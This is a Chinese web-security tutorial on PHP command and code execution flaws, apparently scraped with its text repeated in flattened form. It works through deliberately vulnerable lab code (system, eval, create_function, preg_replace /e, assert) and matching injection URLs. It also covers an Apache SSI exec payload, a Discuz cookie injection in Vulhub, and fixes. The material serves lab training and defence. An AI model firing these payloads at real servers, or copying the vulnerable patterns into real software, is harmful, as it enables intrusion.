[红日安全]Web安全Day13 - 命令执行实战攻防
字数 1768 2025-08-18 11:39:23

Web安全实战:命令执行与代码执行漏洞详解

1. 命令执行与代码执行概述

1.1 命令执行漏洞原理

在操作系统中,&&&|||等符号都可以作为命令连接符使用。当用户通过浏览器提交执行命令,而服务器端没有针对执行函数做过滤时,就会导致在没有指定绝对路径的情况下执行任意命令。

1.2 代码执行漏洞原理

当应用需要调用一些执行系统命令的函数(如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等),且用户能控制这些函数中的参数时,攻击者可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

1.3 两者区别

  • 命令执行漏洞:直接调用操作系统命令
  • 代码执行漏洞:通过执行脚本代码间接调用操作系统命令

1.4 漏洞危害

  • 执行任意代码或系统命令
  • 读写服务器文件
  • 反弹shell获取服务器控制权
  • 进一步内网渗透

2. 漏洞测试与利用

2.1 靶机测试环境搭建

使用Web for Pentester进行测试:

  1. 下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
  2. 使用VMware安装镜像文件
  3. 新建虚拟机,选择镜像文件
  4. 设置虚拟机名称和存放位置
  5. 磁盘大小默认即可
  6. 启动虚拟机并查看IP地址

2.2 命令注入示例

示例1:无过滤直接注入

漏洞代码:

<?php system("ping -c 2 ".$_GET['ip']);?>

利用方式:

http://192.168.245.131/commandexec/example1.php?ip=127.0.0.1| whoami

示例2:使用/m修饰符的过滤绕过

漏洞代码:

<?php 
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

利用方式(使用换行符%0a绕过):

http://192.168.245.131/commandexec/example2.php?ip=127.0.0.1%0awhoami

示例3:重定向限制绕过

漏洞代码:

<?php 
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
    header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>

利用方式:抓包修改请求,直接执行命令

2.3 代码注入示例

示例1:未过滤直接注入

漏洞代码:

<?php 
$str="echo \"Hello ".$_GET['name']."\";"; 
eval($str);
?>

利用方式(闭合语句并注入):

http://192.168.245.131/codeexec/example1.php?name=%22;phpinfo();//

示例2:create_function注入

漏洞代码:

<?php
class User{
    public $id, $name, $age;
    function __construct($id, $name, $age){
        $this->name= $name;
        $this->age = $age;
        $this->id = $id;
    }
}

require_once('../header.php');
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
    while ($row = mysql_fetch_assoc($result)) {
        $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) {
        usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
}
?>

利用方式:

http://192.168.245.131/codeexec/example2.php?order=id);;}phpinfo();//

示例3:preg_replace的/e修饰符注入

漏洞代码:

<?php 
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

利用方式:

http://192.168.245.131/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer

示例4:assert函数注入

漏洞代码:

<?php 
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
?>

利用方式:

http://192.168.245.131/codeexec/example4.php?name=%27.phpinfo();//

3. 实战演练

3.1 Vulhub环境搭建

  1. 安装docker:

    sudo apt install docker.io
    
  2. 安装docker-compose:

    pip install docker-compose
    
  3. 验证安装:

    docker-compose -v
    
  4. 下载vulhub:

    git clone https://github.com/vulhub/vulhub.git
    
  5. 添加国内镜像(可选):

    • 修改/etc/docker/daemon.json:
      {
        "registry-mirrors": ["https://registry.docker-cn.com"]
      }
      
    • 重启服务:
      service docker restart
      

3.2 Apache SSI远程命令执行漏洞

  1. 进入靶机环境:

    cd httpd/ssi-rce/
    docker-compose up -d
    
  2. 访问Kali的IP:8080端口

  3. 上传构造的shtml文件:

    <!--#exec cmd="whoami" -->
    
  4. 访问上传的文件执行命令

3.3 Discuz 7.x/6.x全局变量防御绕过导致代码执行

  1. 进入靶机环境:

    cd discuz/wooyun-2010-080723/
    docker-compose up -d
    
  2. 访问http://your-ip:8080/install/安装Discuz

    • 数据库地址:db
    • 数据库名:discuz
    • 账号密码:root
  3. 访问任意帖子并抓包

  4. 替换Cookie:

    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;
    GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
    

4. 修复方案

4.1 命令执行修复方案

  1. 尽量少用或禁用执行命令的函数
  2. 参数值使用引号包括
  3. 使用动态函数前,确保函数是指定函数之一
  4. 执行命令前对参数进行过滤和转义
  5. 能用脚本完成的工作不要调用其他程序
  6. 对程序参数使用escapeshellcmd过滤,对参数值使用escapeshellarg过滤
  7. 参数值使用引号包裹,拼接前调用addslashes转义
  8. 及时更新第三方组件并修改默认配置

4.2 代码执行修复方案

  1. 使用JSON保存数组/对象而非PHP序列化字符串
  2. 必须使用eval时,严格控制输入参数:
    • 使用单引号包裹代码
    • 插入前进行addslashes转义
  3. 避免使用preg_replace的e修饰符,改用preg_replace_callback
  4. 确保register_globals=off
  5. 严格控制变量来源,初始化所有变量
  6. 监控文件写入函数(file_put_contents, fwrite等)
  7. 自动化检测时可使用";print(md5(test));$a="等测试payload

5. 总结

命令执行和代码执行漏洞是Web安全中高危漏洞,攻击者可以利用这些漏洞直接控制系统。防御的关键在于:

  1. 严格控制用户输入
  2. 避免直接执行用户可控的代码或命令
  3. 使用安全的替代方案
  4. 保持系统和组件更新
  5. 实施严格的输入验证和输出编码

通过理解这些漏洞的原理、利用方式和防御措施,可以有效地提高Web应用的安全性。

Web安全实战:命令执行与代码执行漏洞详解 1. 命令执行与代码执行概述 1.1 命令执行漏洞原理 在操作系统中, & 、 && 、 | 、 || 等符号都可以作为命令连接符使用。当用户通过浏览器提交执行命令,而服务器端没有针对执行函数做过滤时,就会导致在没有指定绝对路径的情况下执行任意命令。 1.2 代码执行漏洞原理 当应用需要调用一些执行系统命令的函数(如PHP中的system、exec、shell_ exec、passthru、popen、proc_ popen等),且用户能控制这些函数中的参数时,攻击者可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。 1.3 两者区别 命令执行漏洞 :直接调用操作系统命令 代码执行漏洞 :通过执行脚本代码间接调用操作系统命令 1.4 漏洞危害 执行任意代码或系统命令 读写服务器文件 反弹shell获取服务器控制权 进一步内网渗透 2. 漏洞测试与利用 2.1 靶机测试环境搭建 使用Web for Pentester进行测试: 下载地址:https://download.vulnhub.com/pentesterlab/web_ for_ pentester_ i386.iso 使用VMware安装镜像文件 新建虚拟机,选择镜像文件 设置虚拟机名称和存放位置 磁盘大小默认即可 启动虚拟机并查看IP地址 2.2 命令注入示例 示例1:无过滤直接注入 漏洞代码: 利用方式: 示例2:使用/m修饰符的过滤绕过 漏洞代码: 利用方式(使用换行符%0a绕过): 示例3:重定向限制绕过 漏洞代码: 利用方式:抓包修改请求,直接执行命令 2.3 代码注入示例 示例1:未过滤直接注入 漏洞代码: 利用方式(闭合语句并注入): 示例2:create_ function注入 漏洞代码: 利用方式: 示例3:preg_ replace的/e修饰符注入 漏洞代码: 利用方式: 示例4:assert函数注入 漏洞代码: 利用方式: 3. 实战演练 3.1 Vulhub环境搭建 安装docker: 安装docker-compose: 验证安装: 下载vulhub: 添加国内镜像(可选): 修改/etc/docker/daemon.json: 重启服务: 3.2 Apache SSI远程命令执行漏洞 进入靶机环境: 访问Kali的IP:8080端口 上传构造的shtml文件: 访问上传的文件执行命令 3.3 Discuz 7.x/6.x全局变量防御绕过导致代码执行 进入靶机环境: 访问http://your-ip:8080/install/安装Discuz 数据库地址:db 数据库名:discuz 账号密码:root 访问任意帖子并抓包 替换Cookie: 4. 修复方案 4.1 命令执行修复方案 尽量少用或禁用执行命令的函数 参数值使用引号包括 使用动态函数前,确保函数是指定函数之一 执行命令前对参数进行过滤和转义 能用脚本完成的工作不要调用其他程序 对程序参数使用escapeshellcmd过滤,对参数值使用escapeshellarg过滤 参数值使用引号包裹,拼接前调用addslashes转义 及时更新第三方组件并修改默认配置 4.2 代码执行修复方案 使用JSON保存数组/对象而非PHP序列化字符串 必须使用eval时,严格控制输入参数: 使用单引号包裹代码 插入前进行addslashes转义 避免使用preg_ replace的e修饰符,改用preg_ replace_ callback 确保register_ globals=off 严格控制变量来源,初始化所有变量 监控文件写入函数(file_ put_ contents, fwrite等) 自动化检测时可使用 ";print(md5(test));$a=" 等测试payload 5. 总结 命令执行和代码执行漏洞是Web安全中高危漏洞,攻击者可以利用这些漏洞直接控制系统。防御的关键在于: 严格控制用户输入 避免直接执行用户可控的代码或命令 使用安全的替代方案 保持系统和组件更新 实施严格的输入验证和输出编码 通过理解这些漏洞的原理、利用方式和防御措施,可以有效地提高Web应用的安全性。